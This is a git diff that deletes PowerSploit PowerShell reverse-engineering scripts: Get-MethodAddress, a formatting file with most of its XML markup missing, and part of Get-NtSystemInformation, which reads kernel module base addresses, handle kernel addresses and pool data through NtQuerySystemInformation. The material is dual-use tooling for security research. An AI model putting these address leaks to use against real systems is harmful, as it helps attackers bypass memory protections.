MSIL opcodes look like in their assembly language representation. - -For example, here is the MSIL representation of [System.IntPtr].ToPointer: -0x02 ldarg.0 -0x7B,0x53,0x04,0x00,0x04 ldfld void* System.IntPtr::m_value -0x2A ret - -After calling Get-MethodAddress and inspecting it in WinDbg, here is the x86_64 ASM representation: -C:\PS> Get-MethodAddress ([IntPtr].GetMethod('ToPointer')) -0x000007FF35544CC0 - -mscorlib_ni+0xd04cc0: -000007ff`35544cc0 488b01 mov rax,qword ptr [rcx] -000007ff`35544cc3 c3 ret -000007ff`35544cc4 cc int 3 - -This MSIL to ASM translation makes sense because all the assembly instructions are doing is dereferencing the pointer in rcx. - -.PARAMETER MethodInfo - -The method whose unmanaged address will be returned. - -.EXAMPLE - -C:\PS> Get-MethodAddress ([String].GetMethod('Trim', [Type[]]@())) - -Description ------------ -Returns the unmanaged address of [System.Object].Trim() method. - -.EXAMPLE - -C:\PS> [Int].Module.GetTypes().GetMethods() | ForEach-Object {Get-MethodAddress $_ -ErrorAction SilentlyContinue -WarningAction SilentlyContinue} - -Description ------------ -Returns an unmanaged address for every method (in which an address can be returned) in mscorlib. - -.OUTPUTS - -System.String - -A hexadecimal representation of the method address. - -.NOTES - -Not all methods will be able to return an address. For example, methods with implementation flags of AggressiveInlining, Synchronized, or CodeTypeMask will not return an address. Also note that any InternalCall method will return the same pointer every time because the CLR determines its address at runtime. - -Lastly, note that the MSIL opcodes used to implement this cmdlet are unverifiable. This means for example, that this technique won't aid exploiting Silverlight applications. :'( - -.LINK - -http://www.exploit-monday.com/2012/11/Get-MethodAddress.html -#> - - [CmdletBinding()] Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] - $MethodInfo - ) - - if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') - { - Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." - } - - if ([IntPtr]::Size -eq 4) - { - $ReturnType = [UInt32] - } - else - { - $ReturnType = [UInt64] - } - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') - # Assemble in memory - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') - $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) - # Declaration of the LeakMethod method - $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) - $Generator = $MethodBuilder.GetILGenerator() - - # Push unmanaged pointer to MethodInfo onto the evaluation stack - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - # Assemble everything - $Type = $TypeBuilder.CreateType() - $Method = $Type.GetMethod('LeakMethod') - - try - { - # Call the method and return its JITed address - $Address = $Method.Invoke($null, @()) - - Write-Output (New-Object IntPtr -ArgumentList $Address) - } - catch [System.Management.Automation.MethodInvocationException] - { - Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." - } -} diff --git a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml b/ReverseEngineering/Get-NtSystemInformation.format.ps1xml deleted file mode 100644 index fa3ed414..00000000 --- a/ReverseEngineering/Get-NtSystemInformation.format.ps1xml +++ /dev/null @@ -1,440 +0,0 @@ - - - - - SystemModuleView - - _SYSTEM_MODULE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - ImageSize - 0x{0:X8} - - - Flags - 0x{0:X8} - - - Index - 0x{0:X4} - - - Rank - 0x{0:X4} - - - LoadCount - 0x{0:X4} - - - NameOffset - 0x{0:X4} - - - $_.Name -replace '\\SystemRoot', $Env:SystemRoot - - - - - - - - SystemLockView - - _SYSTEM_LOCK_INFORMATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "0x$($_.Address.ToString("X$([IntPtr]::Size * 2)"))" - - - Type - 0x{0:X4} - - - ExclusiveOwnerThreadId - 0x{0:X4} - - - ActiveCount - 0x{0:X8} - - - ContentionCount - 0x{0:X8} - - - NumberOfSharedWaiters - 0x{0:X8} - - - NumberOfExclusiveWaiters - 0x{0:X8} - - - - - - - - PoolTagView - - _SYSTEM_POOL_TAG_INFORMATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Tag - - - PagedPoolAllocs - 0x{0:X8} - - - PagedPoolFrees - 0x{0:X8} - - - PagedPoolUsage - 0x{0:X8} - - - NonPagedPoolAllocs - 0x{0:X8} - - - NonPagedPoolFrees - 0x{0:X8} - - - NonPagedPoolUsage - 0x{0:X8} - - - - - - - - SystemHandleView - - _SYSTEM_HANDLE_INFORMATION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - UniqueProcessId - 0x{0:X4} - - - CreatorBackTraceIndex - 0x{0:X4} - - - ObjectType - - - HandleAttribute - - - HandleValue - 0x{0:X4} - - - "0x$($_.Object.ToString("X$([IntPtr]::Size * 2)"))" - - - GrantedAccess - - - - - - - - GenericMappingView - - _GENERIC_MAPPING - - - - - - - - - - - - - - - - - - - - - - GenericRead - 0x{0:X8} - - - GenericWrite - 0x{0:X8} - - - GenericExecute - 0x{0:X8} - - - GenericAll - 0x{0:X8} - - - - - - - - ObjectTypeView - - _SYSTEM_OBJECTTYPE_INFORMATION - - - - - - - NumberOfObjects - 0x{0:X8} - - - NumberOfHandles - 0x{0:X8} - - - TypeIndex - 0x{0:X8} - - - InvalidAttributes - - - GenericMapping - - - ValidAccessMask - - - PoolType - - - SecurityRequired - 0x{0:X2} - - - WaitableObject - 0x{0:X2} - - - TypeName - - - Objects - - - - - - - - ObjectView - - _SYSTEM_OBJECT_INFORMATION - - - - - - - - "0x$($_.Object.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.CreatorUniqueProcess.ToString("X$([IntPtr]::Size * 2)"))" - - - CreatorBackTraceIndex - 0x{0:X4} - - - Flags - - - PointerCount - 0x{0:X8} - - - HandleCount - 0x{0:X8} - - - PagedPoolCharge - 0x{0:X8} - - - NonPagedPoolCharge - 0x{0:X8} - - - - "0x$($_.ExclusiveProcessId.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SecurityDescriptor.ToString("X$([IntPtr]::Size * 2)"))" - - - NameInfo - - - - - - - - CodeIntegrityTypeView - - _SYSTEM_CODEINTEGRITY_INFORMATION - - - - - - - CodeIntegrityOptions - 0x{0:X8} - - - LockdownState - - - - - - - - diff --git a/ReverseEngineering/Get-NtSystemInformation.ps1 b/ReverseEngineering/Get-NtSystemInformation.ps1 deleted file mode 100644 index 2bde8f6e..00000000 --- a/ReverseEngineering/Get-NtSystemInformation.ps1 +++ /dev/null @@ -1,1082 +0,0 @@ -function Get-NtSystemInformation -{ -<# -.SYNOPSIS - - Returns various forms of internal OS information. - - PowerSploit Function: Get-NtSystemInformation - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Get-NtSystemInformation is a utility that calls and parses the output of the - ntdll!NtQuerySystemInformation function. This utility can be used to query - internal OS information that is typically not made visible to a user. - -.PARAMETER PoolTagInformation - - Returns information on tagged kernel pool allocations. - -.PARAMETER ModuleInformation - - Returns loaded kernel module information. - -.PARAMETER HandleInformation - - Returns handle information about user-mode handles and their respective - address in the kernel. - -.PARAMETER ObjectType - - Specifies the object type to be returned when listing handles. The following - types are permitted: - - Adapter, ALPC Port, Callback, CompositionSurface, Controller, DebugObject, - Desktop, Device, Directory, Driver, DxgkSharedResource, DxgkSharedSyncObject, - EtwConsumer, EtwRegistration, Event, EventPair, File, FilterCommunicationPort, - FilterConnectionPort, IoCompletion, IoCompletionReserve, IRTimer, Job, Key, - KeyedEvent, Mutant, PcwObject, Port, PowerRequest, Process, Profile, Section, - Semaphore, Session, SymbolicLink, Thread, Timer, TmEn, TmRm, TmTm, TmTx, Token, - TpWorkerFactory, Type, UserApcReserve, WaitablePort, WaitCompletionPacket, - WindowStation, WmiGuid - -.PARAMETER ObjectInformation - - Returns information about user-mode objects and their respective kernel pool - allocations. - -.PARAMETER CodeIntegrityInformation - - Returns user-mode code integrity flags. - -.PARAMETER GlobalFlags - - Returns a list of all enabled global flags. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -PoolTagInformation - - Description - ----------- - Returns information on tagged kernel pool allocations. The output is similar - to that of poolmon.exe. The output is the result of parsing _SYSTEM_POOLTAG - structures. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -ModuleInformation - - Description - ----------- - Returns loaded kernel module information including the base address of - loaded kernel modules. The output is the result of parsing the - undocumented _SYSTEM_MODULE_INFORMATION structure. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -HandleInformation - - Description - ----------- - Returns handle information about user-mode handles and their respective - address in the kernel. The output is similar to that of handle.exe but - doesn't require an elevated prompt. handle.exe also doesn't display the - kernel address of the object that the handle represents. The output is the - result of parsing _SYSTEM_HANDLE_TABLE_ENTRY_INFO structures. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -ObjectInformation - - Description - ----------- - Returns information about user-mode objects and their respective kernel pool - allocations. The output is the result of parsing - _SYSTEM_OBJECTTYPE_INFORMATION and _SYSTEM_OBJECT_INFORMATION structures. - - Note: FLG_MAINTAIN_OBJECT_TYPELIST (0x4000), FLG_ENABLE_HANDLE_TYPE_TAGGING - (0x01000000) global flags must be set in order to retrieve the output of this - command. - -.EXAMPLE - - C:\PS> Get-NtSystemInformation -GlobalFlags - - Description - ----------- - Returns a list of all enabled global flags. This is similar to running - gflags.exe /r - -.LINK - - http://www.exploit-monday.com/ -#> - - [CmdletBinding()] Param ( - [Parameter( ParameterSetName = 'PoolTagInformation' )] - [Switch] - $PoolTagInformation, - - [Parameter( ParameterSetName = 'ModuleInformation' )] - [Switch] - $ModuleInformation, - - [Parameter( ParameterSetName = 'HandleInformation' )] - [Switch] - $HandleInformation, - - [Parameter( ParameterSetName = 'HandleInformation' )] - [ValidateSet('Adapter', 'ALPC Port', 'Callback', 'CompositionSurface', 'Controller', 'DebugObject', 'Desktop', 'Device', 'Directory', 'Driver', 'DxgkSharedResource', 'DxgkSharedSyncObject', 'EtwConsumer', 'EtwRegistration', 'Event', 'EventPair', 'File', 'FilterCommunicationPort', 'FilterConnectionPort', 'IoCompletion', 'IoCompletionReserve', 'IRTimer', 'Job', 'Key', 'KeyedEvent', 'Mutant', 'PcwObject', 'Port', 'PowerRequest', 'Process', 'Profile', 'Section', 'Semaphore', 'Session', 'SymbolicLink', 'Thread', 'Timer', 'TmEn', 'TmRm', 'TmTm', 'TmTx', 'Token', 'TpWorkerFactory', 'Type', 'UserApcReserve', 'WaitablePort', 'WaitCompletionPacket', 'WindowStation', 'WmiGuid')] - [String] - $ObjectType, - - [Parameter( ParameterSetName = 'ObjectInformation' )] - [Switch] - $ObjectInformation, - - [Parameter( ParameterSetName = 'LockInformation' )] - [Switch] - $LockInformation, - - [Parameter( ParameterSetName = 'CodeIntegrityInformation' )] - [Switch] - $CodeIntegrityInformation, - - [Parameter( ParameterSetName = 'GlobalFlags' )] - [Switch] - $GlobalFlags - ) - -#region Define the assembly/module that will hold all of our dynamic types. - try { $ntdll = [ntdll] } catch [Management.Automation.RuntimeException] - { - $DynAssembly = New-Object System.Reflection.AssemblyName('SysUtils') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SysUtils', $False) - - # Define [ntdll]::NtQuerySystemInformation method - $TypeBuilder = $ModuleBuilder.DefineType('ntdll', 'Public, Class') - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtQuerySystemInformation', 'ntdll.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('ntdll.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($true)) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - $ntdll = $TypeBuilder.CreateType() - } -#endregion - -#region Define global custom attributes - $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) - $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') - $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, @([Runtime.InteropServices.LayoutKind]::Explicit), $CharsetField, @([Runtime.InteropServices.CharSet]::Ansi)) - - $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) - $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) - - $MarshalAsConstructor = [Runtime.InteropServices.MarshalAsAttribute].GetConstructor([Runtime.InteropServices.UnmanagedType]) - $SizeConst = [Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst') - - $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' -#endregion - -#region Define enum types - try { $SystemInformationClass = [SYSTEM_INFORMATION_CLASS] } catch [Management.Automation.RuntimeException] - { - # The entries that are commented out I'll get around to when I feel like it. - - $EnumBuilder = $ModuleBuilder.DefineEnum('SYSTEM_INFORMATION_CLASS', 'Public', [Int32]) - #$EnumBuilder.DefineLiteral('SystemBasicInformation', [Int32] 0x00000000) | Out-Null - #$EnumBuilder.DefineLiteral('SystemProcessorInformation', [Int32] 0x00000001) | Out-Null - #$EnumBuilder.DefineLiteral('SystemPerformanceInformation', [Int32] 0x00000002) | Out-Null - #$EnumBuilder.DefineLiteral('SystemTimeOfDayInformation', [Int32] 0x00000003) | Out-Null - #$EnumBuilder.DefineLiteral('SystemProcessInformation', [Int32] 0x00000005) | Out-Null - #$EnumBuilder.DefineLiteral('SystemCallCounts', [Int32] 0x00000006) | Out-Null - #$EnumBuilder.DefineLiteral('SystemConfigurationInformation', [Int32] 0x00000007) | Out-Null - #$EnumBuilder.DefineLiteral('SystemProcessorPerformanceInformation', [Int32] 0x00000008) | Out-Null - $EnumBuilder.DefineLiteral('SystemGlobalFlag', [Int32] 0x00000009) | Out-Null - $EnumBuilder.DefineLiteral('SystemModuleInformation', [Int32] 0x0000000B) | Out-Null - $EnumBuilder.DefineLiteral('SystemLockInformation', [Int32] 0x0000000C) | Out-Null - $EnumBuilder.DefineLiteral('SystemHandleInformation', [Int32] 0x00000010) | Out-Null - $EnumBuilder.DefineLiteral('SystemObjectInformation', [Int32] 0x00000011) | Out-Null - #$EnumBuilder.DefineLiteral('SystemPagefileInformation', [Int32] 0x00000012) | Out-Null - #$EnumBuilder.DefineLiteral('SystemInstructionEmulationCounts', [Int32] 0x00000013) | Out-Null - $EnumBuilder.DefineLiteral('SystemPoolTagInformation', [Int32] 0x00000016) | Out-Null - #$EnumBuilder.DefineLiteral('SystemInterruptInformation', [Int32] 0x00000017) | Out-Null - #$EnumBuilder.DefineLiteral('SystemExceptionInformation', [Int32] 0x00000021) | Out-Null - #$EnumBuilder.DefineLiteral('SystemRegistryQuotaInformation', [Int32] 0x00000025) | Out-Null - #$EnumBuilder.DefineLiteral('SystemLookasideInformation', [Int32] 0x0000002D) | Out-Null - $EnumBuilder.DefineLiteral('SystemCodeIntegrityInformation', [Int32] 0x00000067) | Out-Null - $SystemInformationClass = $EnumBuilder.CreateType() - } - - try { $NtStatus = [NTSTATUS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('NTSTATUS', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('STATUS_SUCCESS', [Int32] 0x00000000) | Out-Null - $EnumBuilder.DefineLiteral('STATUS_INFO_LENGTH_MISMATCH', [Int32] 0xC0000004) | Out-Null - $NtStatus = $EnumBuilder.CreateType() - } - - try { $LockdownState = [LOCKDOWN_STATE] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('LOCKDOWN_STATE', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('UMCINONE', [Int32] 0x00000000) | Out-Null - $EnumBuilder.DefineLiteral('UMCIENFORCE', [Int32] 0x00000004) | Out-Null - $EnumBuilder.DefineLiteral('UMCIAUDIT', [Int32] 0xC0000008) | Out-Null - $LockdownState = $EnumBuilder.CreateType() - } - - try { $PoolType = [POOL_TYPE] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('POOL_TYPE', 'Public', [UInt32]) - $EnumBuilder.DefineLiteral('NonPagedPoolExecute', [UInt32] 0x00000000) | Out-Null - $EnumBuilder.DefineLiteral('PagedPool', [UInt32] 0x00000001) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolMustSucceed', [UInt32] 0x00000002) | Out-Null - $EnumBuilder.DefineLiteral('DontUseThisType', [UInt32] 0x00000003) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAligned', [UInt32] 0x00000004) | Out-Null - $EnumBuilder.DefineLiteral('PagedPoolCacheAligned', [UInt32] 0x00000005) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAlignedMustS', [UInt32] 0x00000006) | Out-Null - $EnumBuilder.DefineLiteral('MaxPoolType', [UInt32] 0x00000007) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolSession', [UInt32] 0x00000020) | Out-Null - $EnumBuilder.DefineLiteral('PagedPoolSession', [UInt32] 0x00000021) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolMustSucceedSession', [UInt32] 0x00000022) | Out-Null - $EnumBuilder.DefineLiteral('DontUseThisTypeSession', [UInt32] 0x00000023) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAlignedSession', [UInt32] 0x00000024) | Out-Null - $EnumBuilder.DefineLiteral('PagedPoolCacheAlignedSession', [UInt32] 0x00000025) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolCacheAlignedMustSSession', [UInt32] 0x00000026) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolNx', [UInt32] 0x00000200) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolNxCacheAligned', [UInt32] 0x00000204) | Out-Null - $EnumBuilder.DefineLiteral('NonPagedPoolSessionNx', [UInt32] 0x00000220) | Out-Null - $PoolType = $EnumBuilder.CreateType() - } - - try { $HandleFlags = [HANDLE_FLAGS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('HANDLE_FLAGS', 'Public', [Byte]) - $EnumBuilder.DefineLiteral('PROTECT_FROM_CLOSE', [Byte] 1) | Out-Null - $EnumBuilder.DefineLiteral('INHERIT', [Byte] 2) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $HandleFlags = $EnumBuilder.CreateType() - } - - try { $ObjectAttributes = [OBJECT_ATTRIBUTES] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('OBJECT_ATTRIBUTES', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('OBJ_INHERIT', [Int32] 0x00000002) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_PERMANENT', [Int32] 0x00000010) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_EXCLUSIVE', [Int32] 0x00000020) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_CASE_INSENSITIVE', [Int32] 0x00000040) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_OPENIF', [Int32] 0x00000080) | Out-Null - $EnumBuilder.DefineLiteral('OBJ_OPENLINK', [Int32] 0x00000100) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $ObjectAttributes = $EnumBuilder.CreateType() - } - - try { $ObjectFlags = [OBJECT_FLAGS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('OBJECT_FLAGS', 'Public', [UInt16]) - $EnumBuilder.DefineLiteral('SINGLE_HANDLE_ENTRY', [UInt16] 0x0040) | Out-Null - $EnumBuilder.DefineLiteral('DEFAULT_SECURITY_QUOTA', [UInt16] 0x0020) | Out-Null - $EnumBuilder.DefineLiteral('PERMANENT', [UInt16] 0x0010) | Out-Null - $EnumBuilder.DefineLiteral('EXCLUSIVE', [UInt16] 0x0008) | Out-Null - $EnumBuilder.DefineLiteral('CREATOR_INFO', [UInt16] 0x0004) | Out-Null - $EnumBuilder.DefineLiteral('KERNEL_MODE', [UInt16] 0x0002) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $ObjectFlags = $EnumBuilder.CreateType() - } - - try { $AccessMask = [ACCESS_MASK] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('ACCESS_MASK', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('DELETE', [Int32] 0x00010000) | Out-Null - $EnumBuilder.DefineLiteral('READ_CONTROL', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('WRITE_DAC', [Int32] 0x00040000) | Out-Null - $EnumBuilder.DefineLiteral('WRITE_OWNER', [Int32] 0x00080000) | Out-Null - $EnumBuilder.DefineLiteral('SYNCHRONIZE', [Int32] 0x00100000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_REQUIRED', [Int32] 0x000F0000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_READ', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_WRITE', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_EXECUTE', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('STANDARD_RIGHTS_ALL', [Int32] 0x001F0000) | Out-Null - $EnumBuilder.DefineLiteral('ACCESS_SYSTEM_SECURITY', [Int32] 0x01000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_READ', [Int32] 0x80000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_WRITE', [Int32] 0x40000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_EXECUTE', [Int32] 0x20000000) | Out-Null - $EnumBuilder.DefineLiteral('GENERIC_ALL', [Int32] 0x10000000) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $AccessMask = $EnumBuilder.CreateType() - } - - try { $GFlagsEnum = [GLOBAL_FLAGS] } catch [Management.Automation.RuntimeException] - { - $EnumBuilder = $ModuleBuilder.DefineEnum('GLOBAL_FLAGS', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('FLG_DISABLE_DBGPRINT', [Int32] 0x08000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_KERNEL_STACK_TRACE_DB', [Int32] 0x00002000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_USER_STACK_TRACE_DB', [Int32] 0x00001000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DEBUG_INITIAL_COMMAND', [Int32] 0x00000004) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DEBUG_INITIAL_COMMAND_EX', [Int32] 0x04000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_DISABLE_COALESCING', [Int32] 0x00200000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DISABLE_PAGE_KERNEL_STACKS', [Int32] 0x00080000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DISABLE_PROTDLLS', [Int32] 0x80000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DISABLE_STACK_EXTENSION', [Int32] 0x00010000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_CRITSEC_EVENT_CREATION', [Int32] 0x10000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_APPLICATION_VERIFIER', [Int32] 0x00000100) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_HANDLE_EXCEPTIONS', [Int32] 0x40000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_CLOSE_EXCEPTIONS', [Int32] 0x00400000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_CSRDEBUG', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_EXCEPTION_LOGGING', [Int32] 0x00800000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_FREE_CHECK', [Int32] 0x00000020) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_VALIDATE_PARAMETERS', [Int32] 0x00000040) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_TAGGING', [Int32] 0x00000800) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_TAG_BY_DLL', [Int32] 0x00008000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_TAIL_CHECK', [Int32] 0x00000010) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_VALIDATE_ALL', [Int32] 0x00000080) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_KDEBUG_SYMBOL_LOAD', [Int32] 0x00040000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_HANDLE_TYPE_TAGGING', [Int32] 0x01000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_PAGE_ALLOCS', [Int32] 0x02000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_POOL_ENABLE_TAGGING', [Int32] 0x00000400) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_SYSTEM_CRIT_BREAKS', [Int32] 0x00100000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_MAINTAIN_OBJECT_TYPELIST', [Int32] 0x00004000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_MONITOR_SILENT_PROCESS_EXIT', [Int32] 0x00000200) | Out-Null - $EnumBuilder.DefineLiteral('FLG_SHOW_LDR_SNAPS', [Int32] 0x00000002) | Out-Null - $EnumBuilder.DefineLiteral('FLG_STOP_ON_EXCEPTION', [Int32] 0x00000001) | Out-Null - $EnumBuilder.DefineLiteral('FLG_STOP_ON_HUNG_GUI', [Int32] 0x00000008) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $GFlagsEnum = $EnumBuilder.CreateType() - } -#endregion - -#region Define structs for each respective SYSTEM_INFORMATION_CLASS - if ([IntPtr]::Size -eq 8) - { - $Size_SYSTEM_MODULE = 296 - $Size_SYSTEM_POOL_TAG_INFORMATION = 40 - $Size_SYSTEM_HANDLE_INFORMATION = 24 - $Size_SYSTEM_OBJECTTYPE_INFORMATION = 64 - $Size_SYSTEM_OBJECT_INFORMATION = 80 - $Size_SYSTEM_LOCK_INFORMATION = 40 - } - else - { - $Size_SYSTEM_MODULE = 284 - $Size_SYSTEM_POOL_TAG_INFORMATION = 28 - $Size_SYSTEM_HANDLE_INFORMATION = 16 - $Size_SYSTEM_OBJECTTYPE_INFORMATION = 56 - $Size_SYSTEM_OBJECT_INFORMATION = 48 - $Size_SYSTEM_LOCK_INFORMATION = 36 - } - - try { $UnicodeStringClass = [_UNICODE_STRING] } catch [Management.Automation.RuntimeException] - { - $MarshalAsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($MarshalAsConstructor, @([Runtime.InteropServices.UnmanagedType]::LPWStr)) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder = $ModuleBuilder.DefineType('_UNICODE_STRING', $StructAttributes, [ValueType], 2, 16) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - $TypeBuilder.DefineField('Length', [UInt16], 'Public').SetOffset(0) - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public').SetOffset(2) - $BufferField = $TypeBuilder.DefineField('Buffer', [String], 'Public, HasFieldMarshal') - $BufferField.SetCustomAttribute($MarshalAsCustomAttribute) - $BufferField.SetOffset(8) - } - else - { - $TypeBuilder = $ModuleBuilder.DefineType('_UNICODE_STRING', $StructAttributes, [ValueType], 2, 8) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - $TypeBuilder.DefineField('Length', [UInt16], 'Public').SetOffset(0) - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public').SetOffset(2) - $BufferField = $TypeBuilder.DefineField('Buffer', [String], 'Public, HasFieldMarshal') - $BufferField.SetCustomAttribute($MarshalAsCustomAttribute) - $BufferField.SetOffset(4) - } - - $UnicodeStringClass = $TypeBuilder.CreateType() - } - - try { $GenericMappingClass = [_GENERIC_MAPPING] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_GENERIC_MAPPING', $StructAttributes, [ValueType], 4, 16) - - $TypeBuilder.DefineField('GenericRead', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GenericWrite', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GenericExecute', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GenericAll', [UInt32], 'Public') | Out-Null - - $GenericMappingClass = $TypeBuilder.CreateType() - } 